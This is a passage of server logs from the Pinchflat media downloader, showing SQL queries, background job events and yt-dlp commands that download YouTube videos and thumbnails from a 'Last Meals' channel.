"media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:14:39.095 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:14:39.095 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:14:39.095 [debug] Running yt-dlp command for action: get_downloadable_status 21:14:39.095 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:14:39.095 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:14:39.095 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:14:39.095 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=c--KcqojdrU --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/64/0d/640d132d3140cc3655e7770b72a654725ee2293578a76842bf90a4c70211bca5.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:14:41.162 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=c--KcqojdrU --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/64/0d/640d132d3140cc3655e7770b72a654725ee2293578a76842bf90a4c70211bca5.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:14:41.162 [debug] Running yt-dlp command for action: download 21:14:41.162 [debug] QUERY OK source="settings" db=0.0ms idle=279.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:14:41.163 [debug] QUERY OK source="settings" db=0.0ms idle=105.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:14:41.163 [debug] QUERY OK source="settings" db=0.0ms idle=105.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:14:41.163 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=c--KcqojdrU --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/b6/37/b6371c09cafcc0761455be737f3a4c8458a57c9c2e38457224d30d670ac00d09.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:14:58.658 [info] {"source":"oban","duration":1307,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:15:00.587 [info] {"source":"oban","duration":373,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:15:28.660 [info] {"source":"oban","duration":588,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:15:58.661 [info] {"source":"oban","duration":1124,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:16:00.588 [info] {"source":"oban","duration":194,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:16:02.921 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=c--KcqojdrU --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/b6/37/b6371c09cafcc0761455be737f3a4c8458a57c9c2e38457224d30d670ac00d09.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:16:02.930 [debug] Running yt-dlp command for action: download_thumbnail 21:16:02.930 [debug] QUERY OK source="settings" db=0.0ms idle=901.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:16:02.930 [debug] QUERY OK source="settings" db=0.0ms idle=872.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:16:02.930 [debug] QUERY OK source="settings" db=0.0ms idle=872.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:16:02.930 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=c--KcqojdrU --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/24/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/03/f8/03f868beb7f4df3e97baac1dceabc4beb3e1e6208f18992f4cd43988b4d96ada.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:16:05.667 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=c--KcqojdrU --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/24/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/03/f8/03f868beb7f4df3e97baac1dceabc4beb3e1e6208f18992f4cd43988b4d96ada.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:16:05.667 [debug] QUERY OK db=0.0ms idle=1610.0ms begin [] 21:16:05.668 [debug] QUERY OK source="media_items" db=0.3ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 01:16:02Z], "/downloads/Last Meals/2023-04-25 Jason Kelce Eats His Last Meal/Jason Kelce Eats His Last Meal [c--KcqojdrU].mp4", ~U[2026-03-28 01:16:05Z], 24] 21:16:05.668 [debug] QUERY OK source="media_metadata" db=0.3ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/24/metadata.json.gz", "/config/metadata/media_items/24/thumbnail.jpg", 24, ~U[2026-03-28 01:16:05Z], ~U[2026-03-28 01:16:05Z]] 21:16:05.668 [debug] QUERY OK db=0.0ms commit [] 21:16:05.669 [debug] QUERY OK source="media_items" db=0.5ms idle=1611.2ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [347460472, ~U[2026-03-28 01:16:05Z], 24] 21:16:05.669 [info] User scripts lifecyle file either not present or is empty. Skipping. 21:16:05.669 [info] {"args":{"id":24},"id":27,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":86575889,"event":"job:stop","queue_time":1632093387,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 21:16:05.669 [debug] QUERY OK source="tasks" db=0.2ms idle=1612.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:16:05.670 [debug] QUERY OK source="tasks" db=0.2ms idle=636.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:16:05.670 [debug] QUERY OK source="media_items" db=0.0ms idle=1.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [23] 21:16:05.670 [debug] QUERY OK source="media_items" db=0.2ms idle=0.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [23] 21:16:05.675 [info] {"args":{"id":25},"id":28,"meta":{},"system_time":1774660565675641734,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 21:16:05.676 [debug] QUERY OK source="media_items" db=0.3ms idle=5.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [25] 21:16:05.676 [info] User scripts lifecyle file either not present or is empty. Skipping. 21:16:05.676 [debug] QUERY OK source="tasks" db=0.5ms idle=5.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:16:05.676 [debug] QUERY OK source="tasks" db=0.6ms idle=5.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:16:05.676 [debug] QUERY OK source="sources" db=0.2ms idle=5.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:16:05.676 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:16:05.676 [debug] QUERY OK source="media_items" db=0.3ms idle=0.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [23, 25] 21:16:05.676 [debug] QUERY OK source="media_items" db=0.5ms idle=0.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [23, 25] 21:16:05.677 [debug] QUERY OK source="media_items" db=0.1ms queue=0.1ms idle=0.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [25] 21:16:05.677 [debug] QUERY OK source="media_metadata" db=0.0ms idle=0.9ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [25] 21:16:05.677 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:16:05.677 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:16:05.677 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:16:05.677 [debug] Running yt-dlp command for action: get_downloadable_status 21:16:05.678 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:16:05.678 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:16:05.678 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:16:05.678 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=spwFlJDlK1M --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/18/44/1844cca3ac43cb7afe0793a5a13c24cf6182a4d828bbc0fa6ff1f68731e42f86.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:16:08.348 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=spwFlJDlK1M --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/18/44/1844cca3ac43cb7afe0793a5a13c24cf6182a4d828bbc0fa6ff1f68731e42f86.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:16:08.348 [debug] Running yt-dlp command for action: download 21:16:08.348 [debug] QUERY OK source="settings" db=0.1ms idle=1290.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:16:08.348 [debug] QUERY OK source="settings" db=0.1ms idle=1290.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:16:08.348 [debug] QUERY OK source="settings" db=0.1ms idle=1291.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:16:08.349 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=spwFlJDlK1M --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/bd/88/bd884a7633bdad9452b96c35522028f095162590adba0b2281f4cb6df452f37f.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:16:28.663 [info] {"source":"oban","duration":601,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:16:37.689 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=eCVe9YdDAsc --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/9d/46/9d4637832f3c9956637f4fe995812ea161c1c88ab6d6aed31c5ded8e6c5ecef1.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:16:37.701 [debug] Running yt-dlp command for action: download_thumbnail 21:16:37.702 [debug] QUERY OK source="settings" db=0.0ms idle=1644.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:16:37.702 [debug] QUERY OK source="settings" db=0.0ms idle=1644.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:16:37.702 [debug] QUERY OK source="settings" db=0.0ms idle=1644.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:16:37.702 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=eCVe9YdDAsc --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/23/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/0e/5e/0e5ed25f2b6b3598f233fa53c528c79551b41a714a0c56d166608d6d6cd20d76.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:16:40.174 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=eCVe9YdDAsc --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/23/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/0e/5e/0e5ed25f2b6b3598f233fa53c528c79551b41a714a0c56d166608d6d6cd20d76.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:16:40.174 [debug] QUERY OK db=0.0ms idle=1116.7ms begin [] 21:16:40.175 [debug] QUERY OK source="media_items" db=0.4ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 01:16:37Z], "/downloads/Last Meals/2023-05-11 Queer Eye’s Karamo Brown Eats His Last Meal/Queer Eye’s Karamo Brown Eats His Last Meal [eCVe9YdDAsc].mp4", ~U[2026-03-28 01:16:40Z], 23] 21:16:40.175 [debug] QUERY OK source="media_metadata" db=0.3ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/23/metadata.json.gz", "/config/metadata/media_items/23/thumbnail.jpg", 23, ~U[2026-03-28 01:16:40Z], ~U[2026-03-28 01:16:40Z]] 21:16:40.175 [debug] QUERY OK db=0.0ms commit [] 21:16:40.176 [debug] QUERY OK source="media_items" db=0.6ms idle=1118.3ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [362189665, ~U[2026-03-28 01:16:40Z], 23] 21:16:40.176 [info] User scripts lifecyle file either not present or is empty. Skipping. 21:16:40.176 [info] {"args":{"id":23},"id":26,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":139931022,"event":"job:stop","queue_time":1614245346,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 21:16:40.177 [debug] QUERY OK source="tasks" db=0.2ms idle=88.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", 